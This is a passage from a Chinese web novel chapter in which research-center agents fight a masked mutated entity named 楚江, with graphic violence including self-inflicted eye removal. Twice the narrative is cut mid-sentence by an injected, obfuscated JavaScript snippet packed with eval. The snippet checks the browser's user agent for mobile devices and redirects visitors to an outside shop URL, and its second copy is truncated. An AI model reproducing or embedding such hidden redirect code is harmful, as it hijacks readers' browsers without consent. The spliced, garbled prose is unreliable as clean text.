几只蝴蝶被她的动作吓一跳,纷纷飞起,又绕着时序叽叽叽,时序坐回去,在楚江投来的【和善】目光下,说什么也不敢把几只绕着她飞的蝴蝶撵走。 “她们说你吓到她们了,要你赔礼道歉。”楚江说。 时序憋了憋,低声说抱歉。 楚江和蝴蝶们满意了,蝴蝶落到楚江的肩膀上,又是叽叽叽,楚江听完点点头,“她们说你们这帮小孩跟白羽鸡似的,都是速成的,没有底蕴,不靠谱。” 说完她又加一句:“还有这个异化,简直就像新闻里说的那种,基因突变的长了六条腿和十二支翅膀的鸡一样。” 时序给她泼冷水:“那都是谣传,靠谱的成年人不要总是轻信来历不明的新闻。” 再说这位自己就是异化物。 楚江赞同似的点头:“也是,我们还是说点关于填海计划的吧,我来回答刚才的问题,填海计划本来是打算用于改造环境让这里成为工业区的,当时时间紧迫,【天灾】好不容易结束,谁也不知道下次是什么时候,所以当机立断决定把工业区建在相对安全的地方。” 她指指脚下的土地:“当初选了三个地方,这里是其中之一,刚开始填海计划非常顺利,我们在两年内迅速将土地环境改造成适应人类居住发展,工厂的图纸和行政规划也做好了,但计划行至中段时,上面紧急叫停,因为监测科预测这里将会成为下一场天灾的登陆点。” “其实当时我们是不愿意相信,也不想放弃的,大部分工厂都建好了,生产线也起来了,只要通电就能运转,我们的好日子就来了,”楚江情绪平稳,她顿了顿,接着说: “当时说这里不会有天灾的也是监测科,尽管我不想放弃,但我也不能用所有人的命去赌,所以……我还是选择服从指令,安排人员撤离。” “除了我。” 楚江垂下眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14199806|145465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我还是想亲眼看看天灾到底会不会来,监测科说的是不是真的,他人的性命我不能拿来赌,但我自己的可以。” “后来呢?”钟晴追问。 楚江:“后来啊,后来我就死咯。” 几只蝴蝶突然暴起,有一只叽的格外厉害,时序觉得它大概在破口大骂。 真不知道这几只蝴蝶变成人会是什么样。 几只不够,又有一些蝴蝶飞过来,扑棱的楚江只好双手捂脸,时序看着的同时居然有点替楚江庆幸:还好这都是没什么攻击力的蝴蝶,要是变成马蜂蜘蛛蜈蚣什么的,楚江不知道要惨成什么样。 “哎呦我错了,别念了!哎呦!”楚江抱着头一连声的求饶,折腾了几分钟蝴蝶们总算放过她,只是她灰头土脸的,脸上头发上都是蝴蝶翅膀掉落的鳞粉,时序合理怀疑那些蝴蝶们翅膀甩成这样,是想扇楚江几个大耳刮子。 “哎,摊上这些人,我真倒霉死。”楚江捋头发,让自己看起来没那么狼狈,在时序她们几人的眼里,这位高级异化物虽然会让人忌惮,但一点也不妨碍她此刻的颜面尽失。 “刚才不算,我重新说,”楚江正经不少,开口:“后来我们都死了,死后不知道为何意识没有消散,始终徘徊在城寨内,就像鬼片里的女鬼一样,我们可以观察这里的人,无法干涉他们,也是因为这样,我们差不多知道外面的世界是什么样的,直到来了一个人。” 她表情略微困惑:“她说她来自墨丘利城,问我们想不想拥有实体,之所以以这样的形式存在,是因为还有未尽的心愿,有了实体,就可以完成心愿。” 时序眼皮直跳,一股难以言说的酸痛感扑面而来,她屏住呼吸认真听楚江说: “我的梦想跟有无实体并无太大关系,所以我们拒绝了她,可她不死心,给我一个面具,面具会帮助我。” 楚江再度翻转手腕,面具出现,她把刻阴线面具放到桌上。 “抱歉我无法用准确的时间节点形容,意识体期间,我没什么时间观念,”楚江加快语速,“后面城寨基本变成了流浪汉和帮派成员的地盘,我们搜集信息,得知这个面具来自一个叫千面人的组织,它是十三区的其中一个帮派,最近开始染指贩卖药品的生意,给我面具的,大抵就是她们的首领了。” “有一天,一个男人突然闯进来,杀光城寨里的流浪汉,他穿的衣服跟你们差不多,大家都很生气,想知道这个男人的消息,这时纳斯马图又出现了,她说男人来自研究中心,叫卓光远。” 楚江说着,看了眼黑塞。 黑塞同样明白了,接着她的话说下去:“我之前和大仔过来,原来杀掉的是你。” 楚江摇头:“不算是,我们是聚合体,使用了面具的力量后,我们便成了所谓的异化物,这个过程无法逆转,一旦做了选择,我们只能以这样的形式生存,你和你的同伴没有彻底杀死我们也是面具导致,面具好像会让我们处于无法彻底死亡的状态,” “再后来,就是那个早川结太了,但这次看来我做对选择了,”楚江露出意味不明的笑容, “我们变成了一颗鲜红的苹果,引诱着他吞下禁果。” “然后,”楚江站了起来,戴上面具,嘴角的微笑真切又迷幻。 “我遇到了你,时序。” 36. 迷宫围城(二十) 焰火 苹果。 又名智慧果,根据时序所知的神话传说,智慧果赋予人类智慧,同时因万有引力掉落的苹果砸到科学家头上,让人类开启了关于了解世界的新篇。 如今苹果的含义,在时序朴素的世界观里,更多的代表一种随处可得又营养丰富的水果。 楚江戴上面具,面具上的刻阴线仿佛有了生命,水波荡漾着从面具缓缓流动,她提起右手,手中出现一盏提灯。 灯的外面是一层一层的树枝,而灯芯则是时序熟悉的早川结太捏着【核】的手。 没有惊讶的时间,刻阴线从上方的虚空中骤然飘落,朝几人飞来,时序侧步灵巧躲过,顺手冲最近的一条线劈去—— 她的斧头穿过了线条,扑了个空。 接着她听到一声闷哼,绵软线条击中黑塞的身体,将他的肩膀整个扎穿,黑塞想要伸手拔掉,线条像只寄生虫一样,瞬间钻入黑塞的皮肤,他的脸上顿时像楚江面具满是刻阴线。 他痛苦地低哼,鲜血从嘴角涌出,沾湿了他黑色衬衫上浅色的刺绣小花。 其他人见状,纷纷抱头鼠窜,不让黑色线条沾到自己。 越来越多的线条在空中摇曳,安燃抱着头一边闪躲一边嚎叫:“我的妈呀,这是啥玩意儿?!怎么这么邪门儿的?” 不敢用手挡,生怕沾到一点变成黑塞那样。 时序狼狈躲开最近的线条,刚回复不多的体力这下更少不说,楚江提着灯一动不动,唯有面具下弯起的嘴角,好像诉说着她心情不错。 如同高高在上的神明,看着她们惊慌失措。 时序心里涌起暴风骤雨般的愤怒,她讨厌这样,讨厌这些自以为是的人用上位者特有的视角看待她和她的同事们。 她们可以是维持社会运转的齿轮,可以是榨出油来的菜籽,她们可以是很多东西,但她们不是人。 “我可不是你嘴里说的只会砍砍砍的斧头帮,”时序低声细语,她张开手掌,斧头应声而落。 “嗯?”楚江轻哼。 线条隔着手套钻入皮肤,游过的每一寸皮肤钻心的疼,时序疼的几乎要落下眼泪,可她却笑出声: “楚江,不管你生前是什么厉害人物,现在不过都是异化物,我们不是人,你更不是。” 楚江嘴角下垂,她冷漠地看着任由无数线条钻入身体的时序。 时序摘下头盔,耳边是安燃的鬼叫声,她笑了笑,往钟晴那边瞄,钟晴无力地贴着墙角,线同样钻进她的身体里了。 “哈哈,”时序吐出口血,线条顺着她的脖颈蜿蜒着侵蚀她的左脸,她颤颤巍巍解开眼罩,睁开右眼。 眼前的世界成了一幅由无数直线组成的黑白素描,她一步一步向楚江的方向走。 时序闻到鼻腔中喷涌的铁锈味,她随手摸了一把,湿热的液体从鼻孔和嘴巴往外涌,伴随着系统时有时无的电子音: 【请——】 【遮盖——钥匙——】 时序耳朵嗡嗡的,血红色覆盖了黑白,她摸索着摘下手套,肾上腺素大量分泌,她听到自己鼓噪加速的心跳,大脑接收到信号,对她接下来要做的事—— 时序眼睁睁看着自己的指尖距离眼眶越来越近,她的指甲摸到眼眶的边缘,她急促地呼吸,另一只手不听使唤的发抖,她脚步不停,稳稳地一步一步。 楚江略带惊恐的声音传来: “你要干什么?!” 时序听不到她在讲什么,也看不到她的口型,此刻楚江在她眼里就是寥寥几笔的简笔画,只能大致辨别出圆形是头,圆形下面的两条竖线是脖子。 “其实我也不知道这样做对不对,可我想不到更好的办法,” “拯救世界?这种宏大叙事跟我有什么关系吗?” “你找错人了。” “但我真想知道100多年后为什么会变成这样,比起拯救世界,我更想知道我是谁。” 时序自言自语,她听不到自己的声音,长久的嘈杂后是安静,红色褪去,无数线条消失了,右眼的眼珠正安然躺在她的手心。 她低下头,手心轻晃,露出布满神经的眼球背面。 “哈哈哈……” 原来眼球背面长这样。 时序抬头,用黑洞洞的眼眶看向楚江。 她发现自己突然看清楚了。 两人面对面站在纯白的空间中,楚江黑色的高领毛衣格外扎眼。 楚江年轻了很多,看上去意气风发,她单手揣兜,偏着头, “没想到你真的把眼睛挖下来了……” 她感叹。 “你怎么想到的?”她追问。 时序反问,“你好像一点都不惊讶。” 楚江没有说话只是望着时序。 短暂的意识交汇,时序想问的问题一箩筐,她想要早川结太的核心,想要疑问得到解答,她想的太多,于是浪费了宝贵的数秒时间。 【钥匙启动,时间即将回溯,3——】 系统打断她冗长的思考,时序下意识地恐慌:她没有同意系统使用钥匙啊! 【2——】 “不,等等!”时序大喊。 【1。】 时序意识消失。 …… “我靠,时序她怎么了?怎么不动了?”安燃把黑塞拖到墙角,钟晴咬着牙,忍着剧痛往楚江所在的方向用镭射枪射击。 镭射枪射出的激光极速衰减,连楚江的边都挨不到。 时序和楚江身边直径两米左右的空间处于凝滞状态,就连线条都被静止了。 钟晴吐出口血,“时序的右眼有问题,你没看到她摘下眼罩后,那些线条都……” 安燃连连点头,“我看到了!直线都成曲线了!” 钟晴顿了顿:“还有钻到身体里的,入侵速度减缓了。” 灼热的痛感消去不少,但钟晴还是感到不适,她看了眼安燃—— “时序右眼的事,你知我知。” 安燃眼中闪过一丝精光,接着点头:“没问题,我不会说的,所以咱们现在该咋办?等吗?” 钟晴冷笑:“等个屁,咱们赶紧去目标坐标,这还有个拖油瓶,你还能走吗?” 安燃大惊失色,“啊?不等组长?” 钟晴不耐烦:“我真怀疑你是不是走后门进来的,研究中心是要经过笔试面试的,你说你怎么考过的?” 不等安燃开口,钟晴撑着镭射枪站起来,“没空说废话了,赶紧走!要等你自己等,我还想活着出去!” 说完,她真就一瘸一拐地爬楼梯打算跑路。 直到她的身影彻底消失于废墟之间,安燃才转身,卸下头盔俯视墙角昏迷的黑塞。 他眼神变换,似在思考到底要不要带黑塞走。 对他来说,独自做决定很困难,于是他侧头,转而观望时序的方向。 线条的攻击只存在于这一层,钟晴脱离后没有发救援信号,他视线越过楚江和时序,往两人身后的高点看,废墟的楼上恢复正常,除了有植物盘旋,先前早川结太造成的污染基本消退。 当然也可能被植物们吸收了。 他吸口气戴上头盔,没想到研究中心水这么深,实习期就要经历如此困难的任务,难怪笔试他没怎么写都…… 死亡率这么高的工作,还用的着走后门? 他不禁吐槽。 想了这么多,他最后转回到黑塞身上,弯腰把黑塞抗到肩上,一手扶着黑塞的屁股固定位置,一手叉腰,头盔下他似笑非笑,线条顺着他的手臂流动到指尖,他一把抓住企图逃跑的线,自言自语: “哼,故弄玄虚。” 接着他带着手套的手上闪过黑紫色火焰,线条转瞬被他烧个精光,连带着脚下的草地一片漆黑,他踩下一脚,脚下焦黑的碳化物被他一脚碾碎。 时序想来一时半会出不来,也没有感觉到梵空的气息,他扛着黑塞,手有一下没一下地拍肩上人的臀部,眼神微沉着思考现在的情势。 外面那位林科长打得什么主意暂时还不得而知,但再不动作连林科长自己也有危险,梵空的监视大约到研究中心能够承受的阈值范围,安燃缓步上楼的同时,放下黑塞拖着他走。 任务没有时长限制,他打算按兵不动,再说…… 他扯着黑塞的手臂,将他身体内的线条烧掉后撑住对方身体,不让对方的鞋拖地。 饼干挺好吃的,就当做谢礼吧。 至于时序—— 安燃垂眸,他想了想,抬起手,对着附着手部的黑紫焰火轻轻吹了口气,焰火如同飘散的落叶,飘荡着向时序的方向飞去。 时序不是他的任务目标,留着以后可能会用到,现在没必要杀她,她也没必要把生命浪费在这种地方。 阈外。 边寒把防爆车开到城寨西南角,那里外墙只剩残垣断壁,居民楼也被方才的齿轮摧毁,只剩下一角。 梵空将飘散的发用皮筋扎紧,帽子被她端正放到旁边座位,她是自来卷,卷曲的发让她看起来像是围满鬃毛的狮子。 “请把防护服穿好。”边寒乜她一眼提醒道。 “好啦。”梵空随口应声,把防护服的拉链拉到顶端落下锁扣,该说不说,明明不穿也可以的,为什么非要她…… 她撇嘴。 “这是为了你好,暂时忍耐下。”林斐跟着换上防护服,梵空抿唇,看着林斐戴上头盔。 面罩加头盔,是有多害怕感染异化粒子。 “给。”边寒递给她风镜,梵空接过戴上,慢悠悠走出防爆车,午后阳光暖洋洋的,她仰头看着并不刺眼的阳光,等边寒和林斐都从防爆车出来后,她又低下头,少见的安静。 “哎,总科长进去差不多20分钟咯,科长你都不打开通讯联络的?”安静不到一分钟,梵空笑嘻嘻地问。 林斐略显沉闷的声音从头盔传出:“现在不需要通讯。” 梵空饶有兴味,她不知道林斐故作玄虚是为了什么,就像从接手早川结太的案件开始,她有选择的余地,却偏偏总是选到最不该选的选项,是给【上面】的人看的吗? 还是…… 她止住脑内不该有的想法,总之现在还是把眼前的工作做完。 这样想着,她捞下背在身后的巨大炮管询问边寒:“边老师,我要在哪里进行火力支援?” 厚重的炮管她单手拽着炮柄,看起来百十斤的武器在她手里像是塑料制品,边寒移开眼,告诉她这就是最佳坐标,整个城寨最薄弱的地方。 “嗐,我真对研究中心的自研产品不放心,这不会炸膛吧?万一炸了咱们死的比她们还快。”梵空指着废墟吐槽。 林斐和边寒不约而同将利剑般的目光射向她,梵空连忙闭嘴,“呸呸呸,我是乌鸦嘴哈哈哈……” “……”两人不再理她,没过一会她又觉得有些无聊,主动凑过去,“边老师,你说时序她能出来吗?” “要不打个赌?” 边寒看都不看她,低头盯着终端投影出的数据,“不打,组长履历很漂亮,我相信她能出来。” 履历漂亮跟从意识阈里杀出一条血路有什么必然联系吗?边老师的逻辑真是博大精深,梵空不明白,她咚地把炮管立起来,吐出口气: “那就待机吧。” …… 时序睁开眼,系统告诉她回溯失败,她松口气,眼前场景恢复正常,一片红绿相间的草地。 尽管并不是真正的【正常】。 她抬手沿着右脸的下颌往上摸,手套上的皱褶磨得她脸颊刺痛,她摸到了眼罩绑带,跨越过绑带,她终于摸到眼罩的边缘,越靠近右眼,她的感官便越发迟钝,隔着眼罩,她连自己有没有眼睛都无法感知。 楚江在两米开外,冷冷地看着她。 时序用手指轻轻向下按压,尽管眼眶感觉不到,但手指的触感告诉她,她的眼珠在眼眶中。 【……】 脑中传来无言的电流声,时序知道自己应该是赌对了。 【权限开放,宿主打算怎么做。】 这还是系统第一次问她,时序不自觉笑了笑,如果系统是人,估计此时大概很无奈吧,如果可以,她也不想用伤害自己的方式达成目标。 “怎么做……”时序收拢思绪,放下右手—— 还能怎么做,被分到刺头二科的她,肯定要做符合她风格的事,那当然是砍爆一切啊! 时序的眼前豁然开朗,她甩甩手腕,紧紧握住手中的斧柄,先前右眼眼中的【钥匙】,就是此刻她手中的短柄斧。 “……”楚江面色凝重,空间中时不时传来异样热量,她暂时无法分辨热量从何处传来,只觉得到处都是。 漫山遍野都是即将燃起的火星,她捏紧拳头,植物们都还在吸收能量成长着,没有异常。 时序的队友们狼狈地正向上逃跑。 她皱眉,违和感始终萦绕心头,难以消散。 分神的几秒钟,她突然嗅到血腥味,接这裹挟浓郁铁锈味的劲风刺来,楚江来不及躲避,只好利用右小臂上的结晶体进行防御。 时序快速转动斧柄,反刃用另一边扫去,楚江防御及时,她后撤半步,另一只手成掌推开时序抡来的斧头,然而时序反应比她还快,挡住斧头的同时,时序转身后踢。 多亏楚江方才后撤的半步,让她有空间俯身接掌,接住了时序的后踢。 时序一脚不成又是一脚,楚江翻身躲过,没有思考的时间,时序的斧头又来了,楚江前臂格挡,再接下砸臂,总算震开时序。 “……”时序眼神凌厉,没想到楚江还会防身术,刚才顺势而为的下砸臂,很像武术套路。 “没想到你还会武术。”时序冷冷开口,楚江向后背手,收起因短兵相接发抖的右臂, “你也很不错……哪里学的?”楚江试图用轻松的语气缓和气氛。 时序这次用向外的斧刃回答她,楚江本来也没指望时序能回应,她抚摸面具,面具荡起涟漪,线条从面具向外喷涌,万箭齐发铺天盖地朝时序涌去。 时序丝毫不慌,心随念动斧柄极速变形,变成一块直径约半米左右的盾牌,她侧身将盾牌立于身前,跪步收头,挡下线条的同时,从腰间掏出手枪。 避开第一波线条攻击,时序举着盾牌前滚翻,一边格挡线条,一边瞅准机会举枪射击。 手枪没有特殊功能,只是普通武器,但也比镭射枪急速衰减的激光要好一些,楚江尽管是异化物,但人类时期的习惯让她看到子弹下意识躲开,时序咬牙,手枪的后坐力震的她虎口发麻,她忍着疼痛不敢停歇直至清空弹夹。 不知道这手枪用了什么黑科技,硬是跟步枪似的一梭子打出去三四十发,还好她是人体描边大师,一发都没打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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冲锋衣领子很大,遮住对方半张脸,对方把她搞搞拎起来,她看到对方拉下冲锋衣的拉链,露出下半张覆着面罩的脸,和一双狭长的黑色双眼。 距离太近了,楚江甚至能看到对方眼睛下面的一颗泪痣。 跟眼睛完全不搭的爽朗笑声,楚江想。 “总……总科长……”不远处传来时序艰难的呼唤。 “喔,我来的真是时候呀,”林蓦眼珠转动,看着楚江的头颅,眯起眼睛笑:“哈哈,异化物,” 她渐渐睁开眼睛,“可以去死了。” …… 说实话,楚江都快忘记死掉时的感受了。 大概是她死太久了,随着时间流逝,她连生前的记忆都忘得差不多,每天浑浑噩噩的,后来就连自己是否存在都快要忘记了。 现在,托这位总科长的福,她总算是想起死是什么感觉。 她的身体手舞足蹈地冲过来想要保护头颅,楚江的视角几乎被林蓦掏出的锋利刀尖占据,刀尖轻轻划动至眉心,轻柔缓慢地划开眉心的血肉,楚江第一次听到皮肉被划开的声音,划开眉心后,是白红的头骨。 接着,楚江又听到头骨碎裂的声音,冰冷的刀尖刺破她的骨头,刀尖伸进中空的脑室,上下搅动着,楚江感觉不到疼痛,一般来说普通人被这样对待早就死透,可她还能感受到脑浆被绞烂,她甚至还有空转动眼球。 她的意识渐渐抽离,视野从林蓦转移到更远一点的地方。 她又回到了她的身体上。 “啧,再生能力这么强啊,”林蓦扔掉面目全非的楚江的头,看着不远处刚再生出头颅的楚江,嘴角下垂,回神扶了时序一把,顺道扔给时序一管针剂。 时序疼得差点背过气去,林蓦是一点都没意识到她现在是病人,强行把她扛起来,按着她的手臂,毫不手软地把针剂扎进手背,通过循环装置送入体内。 “总科长……疼……”时序猫叫似的,呢喃着说。 林蓦斜她一眼:“谁叫你头铁非要硬碰硬?你一个肉体凡胎能拼得过异化物?” 时序委屈巴巴,“那怎么办啊?” 说话间,时序觉得好像没那么疼了,林蓦看出她状态好转,开口解释:“这是活化剂,加速愈合的,刚才那一下你的内脏估计破裂出血了,不及时救治的话,等着领抚恤金吧。” “……”时序无言,死了才能领抚恤金。 说罢林蓦看了眼她手中的柱状体:“这玩意有点意思,可别让费迪南她们知道了。” 她们说话的功夫,楚江打算趁机逃跑,林蓦给她的感觉十分危险,直觉告诉她,林蓦真能杀死她。 “想跑?”林蓦甩掉刀刃上红白相间的人体组织,楚江回头一看,林蓦居然笑吟吟的冲她比了个1. 蝴蝶翅膀颤动,她起飞想要从天井飞出去。 地面上的林蓦冲她比了五根手指。 时序眼瞅着楚江都要飞走了,林蓦却一点追的意思都没有,强撑着起身,被林蓦一把按下,“好好养伤,跟钟晴汇合。” 时序失去了冷静:“汇合个毛线啊!她要跑路了啊!” 林蓦食指转动刀环,时序这才发现林蓦的刀十分特殊,刀柄是一个圆环,而刀整体也只有五十公分。 “别急,让你看看执行科总科长的本事咯。”林蓦拉上冲锋衣的拉链,反握刀环,摆出一个蓄力的动作。 刀柄散发出阵阵黑雾,时序捏紧手中的柱状体—— 【天梯:飙腾】 林蓦轻声开口,刀刃黑雾大盛,只见林蓦腾空飞起,子弹一般发出巨大的轰鸣声,整个人如同利剑射向空中的楚江。 楚江努力挥动翅膀想要躲开,可她惊恐地发现黑雾遍布天井,她怎么都躲不开。 林蓦腾空而立,黑雾又瞬时收拢于刀刃,她挥动刀刃,黑色浓雾包裹楚江,楚江只觉得浑身发痒。 时序在下面看的眼睛都瞪大了,在她的视角看来,林蓦突然飞上天,天空突然就被黑雾笼罩了,林蓦一挥刀,黑雾散了,再一挥刀,楚江就成了肉沫。 时序:…… 厉害是很厉害的样子,但是林蓦是不是有什么恶趣味,都把异化物切成馅了。 有点恶心。 她连忙躲到坏掉的房间里,生怕林蓦搞得肉沫雨落到她身上。 看来这回是彻底死透了,脚下的花都开始枯萎了。 时序捂着侧腰爬楼梯,其实她带了绳索,只是她现在没什么力气,只能一步一步走上去。 林蓦立于空中,黑发轻轻飘动,隐晦地往西南方向看了眼,虽然植物开始枯萎,但她知道异化物还没死,大概是想伪装死掉,等她们离开后再伺机混入十三区。 她轻哼一声,狡诈的异化物,绞尽脑汁的想要活,她就偏偏不如她的意。 “我劝你别装死了,你的小蝴蝶们都被一把火烧死了。” “不信吗?你自己感应看看,有人趁你不注意的时候放了把火,看来不把正主烧死是不会灭的。” 林蓦用激将法,但她并没撒谎,这里还有其他的异化能力者,留下了未烬的火星,势必要将所有燃烧殆尽。 地上的肉沫抖动,真的感应不到了,楚江倏然拔地而起,一声尖啸: “葛藤!”